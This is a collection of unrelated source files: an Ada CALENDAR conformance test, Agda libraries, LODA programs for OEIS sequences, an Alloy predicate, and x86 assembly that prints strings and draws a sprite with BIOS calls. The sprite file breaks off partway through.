-- C96008A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- MISCELLANEOUS CHECKS ON THE PRE-DEFINED FUNCTIONS IN THE PACKAGE -- CALENDAR. SUBTESTS ARE: -- (A) TIME_OF() AND SPLIT() ARE INVERSE FUNCTIONS. -- (B) FORMAL PARAMETERS OF TIME_OF() AND SPLIT() ARE NAMED CORRECTLY. -- (C) TIME_OF() GIVES THE PARAMETER SECONDS A DEFAULT VALUE OF 0.0. -- (D) THE FUNCTIONS YEAR(), MONTH(), DAY(), AND SECONDS() RETURN -- CORRECT VALUES USING NAMED NOTATION. -- (E) A VALUE RETURNED FROM CLOCK() CAN BE PROCESSED BY SPLIT(). -- (F) DURATION'SMALL MEETS REQUIRED LIMIT. -- CPP 8/16/84 WITH SYSTEM; WITH CALENDAR; USE CALENDAR; WITH REPORT; USE REPORT; PROCEDURE C96008A IS BEGIN TEST ("C96008A", "CHECK MISCELLANEOUS FUNCTIONS IN THE " & "PACKAGE CALENDAR"); --------------------------------------------- DECLARE -- (A) NOW : TIME; YR : YEAR_NUMBER; MO : MONTH_NUMBER; DY : DAY_NUMBER; SEC : DAY_DURATION; BEGIN -- (A) BEGIN NOW := TIME_OF (1984, 8, 13, DURATION(1.0/3.0)); SPLIT (NOW, YR, MO, DY, SEC); IF NOW /= TIME_OF (YR, MO, DY, SEC) THEN COMMENT ("TIME_OF AND SPLIT ARE NOT INVERSES " & "WHEN SECONDS IS A NON-MODEL NUMBER " & "- (A)"); END IF; EXCEPTION WHEN OTHERS => FAILED ("TIME_OF(SPLIT) RAISED EXCEPTION - (A)"); END; BEGIN -- RESET VALUES. YR := 1984; MO := 8; DY := 13; SEC := 1.0; SPLIT (TIME_OF (YR, MO, DY, SEC), YR, MO, DY, SEC); IF YR /= 1984 THEN FAILED ("SPLIT(TIME_OF) CHANGED VALUE OF YR - (A)"); END IF; IF MO /= 8 THEN FAILED ("SPLIT(TIME_OF) CHANGED VALUE OF MO - (A)"); END IF; IF DY /= 13 THEN FAILED ("SPLIT(TIME_OF) CHANGED VALUE OF DY - (A)"); END IF; IF SEC /= 1.0 THEN FAILED ("SPLIT(TIME_OF) CHANGED VALUE OF " & "SEC - (A)"); END IF; EXCEPTION WHEN OTHERS => FAILED ("SPLIT(TIME_OF) PROCESSING RAISED " & "EXCEPTION - (A)"); END; END; -- (A) --------------------------------------------- BEGIN -- (B) DECLARE NOW : TIME; BEGIN NOW := TIME_OF (YEAR => 1984, MONTH => 8, DAY => 13, SECONDS => 60.0); EXCEPTION WHEN OTHERS => FAILED ("NAMED ASSOCIATION ON TIME_OF() RAISED " & "EXCEPTION - (B)"); END; DECLARE NOW : TIME := CLOCK; YR : YEAR_NUMBER := 1984; MO : MONTH_NUMBER := 8; DY : DAY_NUMBER := 13; SEC : DAY_DURATION := 0.0; BEGIN SPLIT (DATE => NOW, YEAR => YR, MONTH => MO, DAY => DY, SECONDS => SEC); EXCEPTION WHEN OTHERS => FAILED ("NAMED ASSOCIATION ON SPLIT() RAISED " & "EXCEPTION - (B)2"); END; END; -- (B) --------------------------------------------- DECLARE -- (C) NOW : TIME; BEGIN -- (C) NOW := TIME_OF (1984, 8, 13); IF SECONDS (NOW) /= 0.0 THEN FAILED ("TIME_OF() DID NOT ZERO SECONDS - (C)"); END IF; END; -- (C) --------------------------------------------- DECLARE -- (D) -- ASSUMES TIME_OF() WORKS CORRECTLY. HOLIDAY : TIME; BEGIN -- (D) HOLIDAY := TIME_OF (1958, 9, 9, 1.0); IF YEAR (DATE => HOLIDAY) /= 1958 THEN FAILED ("YEAR() DID NOT RETURN CORRECT VALUE - (D)"); END IF; IF MONTH (DATE => HOLIDAY) /= 9 THEN FAILED ("MONTH() DID NOT RETURN CORRECT VALUE - (D)"); END IF; IF DAY (DATE => HOLIDAY) /= 9 THEN FAILED ("DAY() DID NOT RETURN CORRECT VALUE - (D)"); END IF; IF SECONDS (HOLIDAY) /= 1.0 THEN FAILED ("SECONDS() DID NOT RETURN CORRECT VALUE - (D)"); END IF; END; -- (D) --------------------------------------------- DECLARE -- (E) YR : YEAR_NUMBER; MO : MONTH_NUMBER; DY : DAY_NUMBER; SEC : DAY_DURATION; BEGIN -- (E) SPLIT (CLOCK, YR, MO, DY, SEC); DELAY SYSTEM.TICK; IF TIME_OF (YR, MO, DY, SEC) > CLOCK THEN FAILED ("SPLIT() ON CLOCK INCORRECT - (E)"); END IF; EXCEPTION WHEN OTHERS => FAILED ("SPLIT() ON CLOCK RAISED EXCEPTION - (E)"); END; -- (E) --------------------------------------------- BEGIN -- (F) IF DURATION'SMALL > 0.020 THEN FAILED ("DURATION'SMALL LARGER THAN SPECIFIED - (F)"); END IF; END; -- (F) --------------------------------------------- RESULT; END C96008A;
11window/pm/print_string_pm.asm
SwordYork/slef
8
101194
<reponame>SwordYork/slef [bits 32] VIDEO_MEMORY equ 0xa0000 WHITE_ON_BLACK equ 0x0f print_string_pm: pusha mov edx,VIDEO_MEMORY print_string_pm_loop: mov al,[ebx] mov ah, WHITE_ON_BLACK ;color cmp al,0 je print_string_pm_done ;end mov [edx],ax add ebx,1 add edx,2 ;two bytes jmp print_string_pm_loop print_string_pm_done: popa ret
src/Partiality-monad/Inductive/Eliminators.agda
nad/partiality-monad
2
2230
<filename>src/Partiality-monad/Inductive/Eliminators.agda ------------------------------------------------------------------------ -- Specialised eliminators ------------------------------------------------------------------------ {-# OPTIONS --erased-cubical --safe #-} module Partiality-monad.Inductive.Eliminators where open import Equality.Propositional open import Logical-equivalence using (_⇔_) open import Prelude hiding (⊥) open import H-level equality-with-J open import H-level.Closure equality-with-J open import Nat equality-with-J as Nat open import Partiality-monad.Inductive ------------------------------------------------------------------------ -- Non-dependent eliminators Inc-nd : ∀ {a p q} (A : Type a) (P : Type p) (Q : P → P → Type q) → Type (p ⊔ q) Inc-nd A P Q = ∃ λ (p : ℕ → P) → ∀ n → Q (p n) (p (suc n)) record Arguments-nd {a} p q (A : Type a) : Type (a ⊔ lsuc (p ⊔ q)) where field P : Type p Q : P → P → Type q pe : P po : (x : A) → P pl : (s : Increasing-sequence A) (pq : Inc-nd A P Q) → P pa : (p₁ p₂ : P) (q₁ : Q p₁ p₂) (q₂ : Q p₂ p₁) → p₁ ≡ p₂ ps : Is-set P qr : (x : A ⊥) (p : P) → Q p p qt : {x y z : A ⊥} → x ⊑ y → y ⊑ z → (px py pz : P) → Q px py → Q py pz → Q px pz qe : (x : A ⊥) (p : P) → Q pe p qu : (s : Increasing-sequence A) (pq : Inc-nd A P Q) (n : ℕ) → Q (proj₁ pq n) (pl s pq) ql : ∀ s (ub : A ⊥) (is-ub : Is-upper-bound s ub) pq (pu : P) (qu : ∀ n → Q (proj₁ pq n) pu) → Q (pl s pq) pu qp : (p₁ p₂ : P) → Is-proposition (Q p₁ p₂) module _ {a p q} {A : Type a} (args : Arguments-nd p q A) where open Arguments-nd args private args′ : Arguments p q A args′ = record { P = λ _ → P ; Q = λ p-x p-y _ → Q p-x p-y ; pe = pe ; po = po ; pl = pl ; pa = λ x⊑y x⊒y p₁ p₂ q₁ q₂ → subst (const P) (antisymmetry x⊑y x⊒y) p₁ ≡⟨ subst-const (antisymmetry x⊑y x⊒y) ⟩ p₁ ≡⟨ pa p₁ p₂ q₁ q₂ ⟩∎ p₂ ∎ ; pp = ps ; qr = qr ; qt = qt ; qe = qe ; qu = qu ; ql = ql ; qp = λ p-x p-y _ → qp p-x p-y } ⊥-rec-nd : A ⊥ → P ⊥-rec-nd = ⊥-rec args′ ⊑-rec-nd : ∀ {x y} → x ⊑ y → Q (⊥-rec-nd x) (⊥-rec-nd y) ⊑-rec-nd = ⊑-rec args′ inc-rec-nd : Increasing-sequence A → Inc-nd A P Q inc-rec-nd = inc-rec args′ ⊥-rec-nd-never : ⊥-rec-nd never ≡ pe ⊥-rec-nd-never = ⊥-rec-never _ ⊥-rec-nd-now : ∀ x → ⊥-rec-nd (now x) ≡ po x ⊥-rec-nd-now = ⊥-rec-now _ ⊥-rec-nd-⨆ : ∀ s → ⊥-rec-nd (⨆ s) ≡ pl s (inc-rec-nd s) ⊥-rec-nd-⨆ = ⊥-rec-⨆ _ ------------------------------------------------------------------------ -- Eliminators which are trivial for _⊑_ record Arguments-⊥ {a} p (A : Type a) : Type (a ⊔ lsuc p) where field P : A ⊥ → Type p pe : P never po : ∀ x → P (now x) pl : ∀ s (p : ∀ n → P (s [ n ])) → P (⨆ s) pp : ∀ x → Is-proposition (P x) module _ {a p} {A : Type a} (args : Arguments-⊥ p A) where open Arguments-⊥ args ⊥-rec-⊥ : (x : A ⊥) → P x ⊥-rec-⊥ = ⊥-rec (record { Q = λ _ _ _ → ⊤ ; pe = pe ; po = po ; pl = λ s pq → pl s (proj₁ pq) ; pa = λ _ _ _ _ _ _ → pp _ _ _ ; pp = mono₁ 1 (pp _) ; qp = λ _ _ _ _ _ → refl }) inc-rec-⊥ : (s : ℕ → A ⊥) → ∀ n → P (s n) inc-rec-⊥ s = ⊥-rec-⊥ ∘ s ⊥-rec-⊥-never : ⊥-rec-⊥ never ≡ pe ⊥-rec-⊥-never = ⊥-rec-never _ ⊥-rec-⊥-now : ∀ x → ⊥-rec-⊥ (now x) ≡ po x ⊥-rec-⊥-now = ⊥-rec-now _ ⊥-rec-⊥-⨆ : ∀ s → ⊥-rec-⊥ (⨆ s) ≡ pl s (λ n → ⊥-rec-⊥ (s [ n ])) ⊥-rec-⊥-⨆ = ⊥-rec-⨆ _ ------------------------------------------------------------------------ -- Eliminators which are trivial for _⊥ record Arguments-⊑ {a} q (A : Type a) : Type (a ⊔ lsuc q) where field Q : {x y : A ⊥} → x ⊑ y → Type q qr : ∀ x → Q (⊑-refl x) qt : ∀ {x y z} (x⊑y : x ⊑ y) (y⊑z : y ⊑ z) → Q x⊑y → Q y⊑z → Q (⊑-trans x⊑y y⊑z) qe : ∀ x → Q (never⊑ x) qu : ∀ s (q : ∀ n → Q (increasing s n)) n → Q (upper-bound s n) ql : ∀ s ub is-ub (q : ∀ n → Q (increasing s n)) (qu : ∀ n → Q (is-ub n)) → Q (least-upper-bound s ub is-ub) qp : ∀ {x y} (x⊑y : x ⊑ y) → Is-proposition (Q x⊑y) module _ {a q} {A : Type a} (args : Arguments-⊑ q A) where open Arguments-⊑ args ⊑-rec-⊑ : ∀ {x y} (x⊑y : x ⊑ y) → Q x⊑y ⊑-rec-⊑ = ⊑-rec (record { P = λ _ → ⊤ ; Q = λ _ _ → Q ; pa = λ _ _ _ _ _ _ → refl ; pp = mono (Nat.zero≤ 2) ⊤-contractible ; qr = λ x _ → qr x ; qt = λ x⊑y y⊑z _ _ _ → qt x⊑y y⊑z ; qe = λ x _ → qe x ; qu = λ s pq → qu s (proj₂ pq) ; ql = λ s ub is-ub pq _ → ql s ub is-ub (proj₂ pq) ; qp = λ _ _ → qp }) inc-rec-⊑ : (s : Increasing-sequence A) → ∀ n → Q (increasing s n) inc-rec-⊑ (_ , inc) = ⊑-rec-⊑ ∘ inc
test/Succeed/InstanceEta.agda
cruhland/agda
1,989
3432
module _ where record ⊤ : Set where instance constructor tt data Nat : Set where suc : Nat → Nat NZ : Nat → Set NZ (suc _) = ⊤ postulate A : ∀ n → {{_ : NZ n}} → Set B : ∀ n (nz : NZ n) → Set B (suc n) nz = A (suc n)
oeis/169/A169803.asm
neoneye/loda-programs
11
6628
<gh_stars>10-100 ; A169803: Triangle read by rows: T(n,k) = binomial(n+1-k,k) (n >= 0, 0 <= k <= n). ; Submitted by <NAME> ; 1,1,1,1,2,0,1,3,1,0,1,4,3,0,0,1,5,6,1,0,0,1,6,10,4,0,0,0,1,7,15,10,1,0,0,0,1,8,21,20,5,0,0,0,0,1,9,28,35,15,1,0,0,0,0,1,10,36,56,35,6,0,0,0,0,0,1,11,45,84,70,21,1,0,0,0,0,0,1,12,55,120,126,56,7,0,0,0,0,0,0,1,13,66,165,210,126,28,1,0 lpb $0 add $1,1 sub $0,$1 lpe add $1,1 sub $1,$0 bin $1,$0 mov $0,$1
oeis/241/A241682.asm
neoneye/loda-programs
11
103388
<filename>oeis/241/A241682.asm<gh_stars>10-100 ; A241682: Total number of unit squares appearing in the Thue-Morse sequence logical matrices after n stages. ; Submitted by <NAME> ; 0,2,0,8,16,72,240,968,3696,14792,58480,233928,932976,3731912,14916720,59666888,238623856,954495432,3817806960,15271227848,61084212336,244336849352,977344601200,3909378404808,15637502434416,62550009737672,250199994211440,1000799976845768,4003199728426096,16012798913704392,64051194938989680,256204779755958728,1024819116160523376,4099276464642093512,16397105847115127920,65588423388460511688,262353693508029062256,1049414774032116249032,4197659095945213058160,16790636383780852232648 mov $1,2 pow $1,$0 mod $0,2 add $1,7 div $1,6 pow $1,2 add $1,$0 mov $0,$1 sub $0,1 mul $0,2
src/test/resources/test0.asm
LunarCoffee/Nexi
0
91909
global main main: global func func:
to_lower_1.adb
ne-oss/urban-os
0
27977
<gh_stars>0 -- {{Ada/Sourceforge|to_lower_1.adb}} pragma License (Gpl); pragma Ada_95; with Ada.Text_IO; with Ada.Command_Line; with Ada.Characters.Handling; procedure To_Lower_1 is package CL renames Ada.Command_Line; package T_IO renames Ada.Text_IO; function To_Lower (Str : String) return String; Value : constant String := CL.Argument (1); function To_Lower (C : Character) return Character renames Ada.Characters.Handling.To_Lower; -- tolower - translates all alphabetic, uppercase characters -- in str to lowercase function To_Lower (Str : String) return String is Result : String (Str'Range) := (others => ' '); begin for C in Str'Range loop Result (C) := To_Lower (Str (C)); end loop; return Result; end To_Lower; begin T_IO.Put ("The lower case of "); T_IO.Put (Value); T_IO.Put (" is "); T_IO.Put (To_Lower (Value)); return; end To_Lower_1; ---------------------------------------------------------------------------- -- $Author: krischik $ -- -- $Revision: 226 $ -- $Date: 2007-12-02 15:11:44 +0000 (Sun, 02 Dec 2007) $ -- -- $Id: to_lower_1.adb 226 2007-12-02 15:11:44Z krischik $ -- $HeadURL: file:///svn/p/wikibook-ada/code/trunk/demos/Source/to_lower_1.adb $ ---------------------------------------------------------------------------- -- vim: textwidth=0 nowrap tabstop=8 shiftwidth=3 softtabstop=3 expandtab -- vim: filetype=ada encoding=utf-8 fileformat=unix foldmethod=indent
alloy4fun_models/trainstlt/models/5/2BaxL5ecmBNfq6BBd.als
Kaixi26/org.alloytools.alloy
0
3671
<reponame>Kaixi26/org.alloytools.alloy open main pred id2BaxL5ecmBNfq6BBd_prop6 { always (all s:Signal | always (s in Green) implies eventually (s not in Green ) or always s not in Green implies eventually (s in Green) ) } pred __repair { id2BaxL5ecmBNfq6BBd_prop6 } check __repair { id2BaxL5ecmBNfq6BBd_prop6 <=> prop6o }
monster.asm
mariahassan54/Super-Mario-Game-in-Assembly-Language
0
15193
<filename>monster.asm<gh_stars>0 .model small .stack 120h .data Mcolor1 byte 2d ;green Mcolor2 byte 1d ;black ;blue instead of white Mcolor3 byte 4d ;brownn Mcolor4 byte 15d ;white unique byte 13d .code main proc mov AX, @data mov DS, AX mov AX, 0 mov ah, 0 mov al, 13H int 10h mov CX, 160d mov DX, 100d push CX mov ah, 0ch add CX,20 mov al,Mcolor4 ;row 1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 2 push CX dec DX add CX,21 mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;; inc CX int 10h pop CX ;row 3 push CX dec DX add CX,17 mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;;; inc CX int 10h inc CX int 10h pop CX ;row 4 push CX dec DX add CX,18 mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;;; inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 5 push CX dec DX add CX,17 mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;;; inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 6 push CX dec DX add CX,17 mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;; inc CX int 10h pop CX ;row 7 push CX dec DX add CX,18 mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;; inc CX int 10h pop CX ;row 8 push CX dec DX add CX,17 mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h ;; inc CX int 10h pop CX ;row 9 push CX dec DX add CX,13 mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX mov al,Mcolor3 int 10h ;; inc CX int 10h pop CX ;row 10 push CX dec DX add CX,10 mov al,Mcolor4 int 10h inc CX mov al,Mcolor2 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;; inc CX int 10h inc CX int 10h pop CX ;row 11 push CX dec DX add CX,9 mov al,Mcolor3 int 10h inc CX mov al,Mcolor2 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h ;; inc CX int 10h pop CX ;row 12 push CX dec DX add CX,9 mov al,Mcolor3 int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor2 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h ;; inc CX int 10h pop CX ;row 13 push CX dec DX add CX,9 mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor2 int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor2 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h ;; inc CX int 10h pop CX ;row 14 push CX dec DX add CX,9 mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor2 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor2 int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 15 push CX dec DX add CX,10 mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor2 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h pop CX ;row 16 push CX dec DX add CX,14 mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX pop CX ;row 17 push CX dec DX add CX,8 mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 18 push CX dec DX add CX,7 mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 19 push CX dec DX add CX,9 mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX pop CX ;row 20 push CX dec DX add CX,9 mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX mov al,Mcolor4 int 10h pop CX ;row 21 push CX dec DX add CX,5 mov al,Mcolor4 int 10h add CX,4 mov al,Mcolor1 int 10h add CX,1 mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX pop CX ;row 22 push CX dec DX add CX,2 mov al,Mcolor4 int 10h add CX,2 mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h pop CX ;row 23 push CX dec DX add CX,2 mov al,Mcolor4 int 10h add CX,2 mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h pop CX ;row 24 push CX dec DX add CX,1 mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX pop CX ;row 25 push CX dec DX add CX,1 mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 26 push CX dec DX add CX,1 mov al,Mcolor3 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 27 push CX dec DX add CX,1 mov al,Mcolor3 int 10h inc CX mov al,Mcolor4 int 10h inc CX mov al,Mcolor3 int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 28 push CX dec DX add CX,2 mov al,Mcolor3 int 10h add CX,3 mov al,Mcolor1 int 10h inc CX mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 29 push CX dec DX add CX,6 mov al,Mcolor4 int 10h inc CX int 10h inc CX mov al,Mcolor1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Mcolor3 int 10h inc CX int 10h inc CX mov 